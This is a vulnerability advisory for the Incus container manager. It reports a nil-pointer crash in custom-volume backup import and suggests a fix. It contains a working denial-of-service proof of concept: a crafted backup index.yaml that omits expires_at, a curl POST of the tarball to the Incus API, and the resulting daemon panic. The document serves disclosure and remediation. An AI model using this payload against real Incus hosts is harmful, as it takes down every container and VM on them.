Summary "(*backend).CreateCustomVolumeFromBackup" in ""internal/server/storage/backend.go"" (https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go) contains an unguarded "time.Time" dereference on the "ExpiresAt" field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with "can_create_storage_volumes" permission on any project can crash the "incusd" daemon by uploading a backup tarball whose "volume_snapshots[].expires_at" field is absent. This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit "985a1dedf9f3e7ba729c93b654905ed510de25c2" added "if s == nil" at the top of the loop body, but did not guard the adjacent "*snapshot.ExpiresAt" deref 19 lines later. Every other consumer of "Config.VolumeSnapshots[i].ExpiresAt" in this same file already gates the deref with a nil-check — the asymmetric guard is the bug. Vulnerable code ""internal/server/storage/backend.go"" (https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go), "CreateCustomVolumeFromBackup": // Line 7710-7714 — the parent fix from GHSA-r7w7 for _, s := range srcBackup.Config.VolumeSnapshots { if s == nil { return errors.New("Bad snapshot definition found in index") } snapshot := s snapName := snapshot.Name // ... // Line 7731 — UNGUARDED *time.Time deref: err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML snapVol.ContentType(), true, true) "ExpiresAt" is declared "*time.Time" ("shared/api/storage_pool_volume_snapshot.go:21,88"). Every other consumer in the same file already uses the safe pattern: | Line | Code | Guarded? | |------|------|----------| | 909-910 | "CreateInstanceFromBackup" | YES | | 1134-1135 | refresh path | YES | | 1422-1423 | migration path | YES | | 7731 | "CreateCustomVolumeFromBackup" | NO | Reach 1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the "can_create_storage_volumes" entitlement on any project. Same auth gate as parent GHSA-r7w7. 2. "POST /1.0/storage-pools/<pool>/volumes/custom" with "Content-Type: application/octet-stream" and "X-Incus-name: <name>". 3. Body is a tar containing ""backup/index.yaml"" (https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml) with "type: custom", a non-nil "volume:" block, and "volume_snapshots: [{name: snap0}]" (no "expires_at" field). 4. "cmd/incusd/storage_volumes.go:storagePoolVolumesPost" -> "backup.GetInfo" parses the yaml -> "pool.CreateCustomVolumeFromBackup" -> the "s == nil" guard at 7712 passes (snapshot pointer is non-nil) -> "*snapshot.ExpiresAt" on line 7731 panics on the nil "*time.Time". 5. No "recover()" is installed in the operation runner, so the panic kills the entire "incusd" process. Repeated POSTs are a persistent denial of service. Minimal ""backup/index.yaml"" (https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml): name: poc-vol backend: dir pool: default type: custom optimized: false optimized_header: false snapshots: [snap0] config: volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}} volume_snapshots: - name: snap0 description: snap0 config: {} expires_at intentionally omitted Proof of concept (end-to-end against running daemon) Bundled in the report: "make_backup.sh" + the resulting 479-byte "poc-vol.tar.gz". Tested against "incus 7.0.0" (zabbly latest GA at time of report; build "1:0~ubuntu24.04~202605201355") inside a privileged Ubuntu 24.04 container with the default "dir" storage pool. $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST --data-binary @/tmp/poc-vol.tar.gz -H 'Content-Type: application/octet-stream' -H 'X-Incus-name: poc-vol' http://incus/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep incusd | grep -v grep # process is GONE Daemon panic from "/tmp/incus.out": panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938] goroutine 422 [running]: github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...) /build/incus/internal/server/storage/backend.go:7731 +0xb48 main.createStoragePoolVolumeFromBackup.func7(...) /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290 github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408 /build/incus/internal/server/operations/operations.go:306 +0x168 Stack frame ""backend.go:7731"" (https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7731) is the literal "*snapshot.ExpiresAt" line. Same line in v6.0.x LTS is ""backend.go:7271"" (https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7271) (also panics; v6.0.x additionally lacks the "s == nil" parent fix so a single nil snapshot pointer also panics there). Impact - Severity: denial of service against the entire "incusd" process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with "can_create_storage_volumes" on any project. Not behind the admin tier. - Network attack surface: the Incus REST API on ":8443" or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). Suggested fix Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423: --- a/internal/server/storage/backend.go +++ b/internal/server/storage/backend.go @@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error { snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config) // Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). - err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true) + var snapExpiryDate time.Time + if snapshot.ExpiresAt != nil { + snapExpiryDate = *snapshot.ExpiresAt + } + + err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true) if err != nil { return err } Reporter notes Reported via Privately-Reported Vulnerability against "lxc/incus" by tonghuaroot.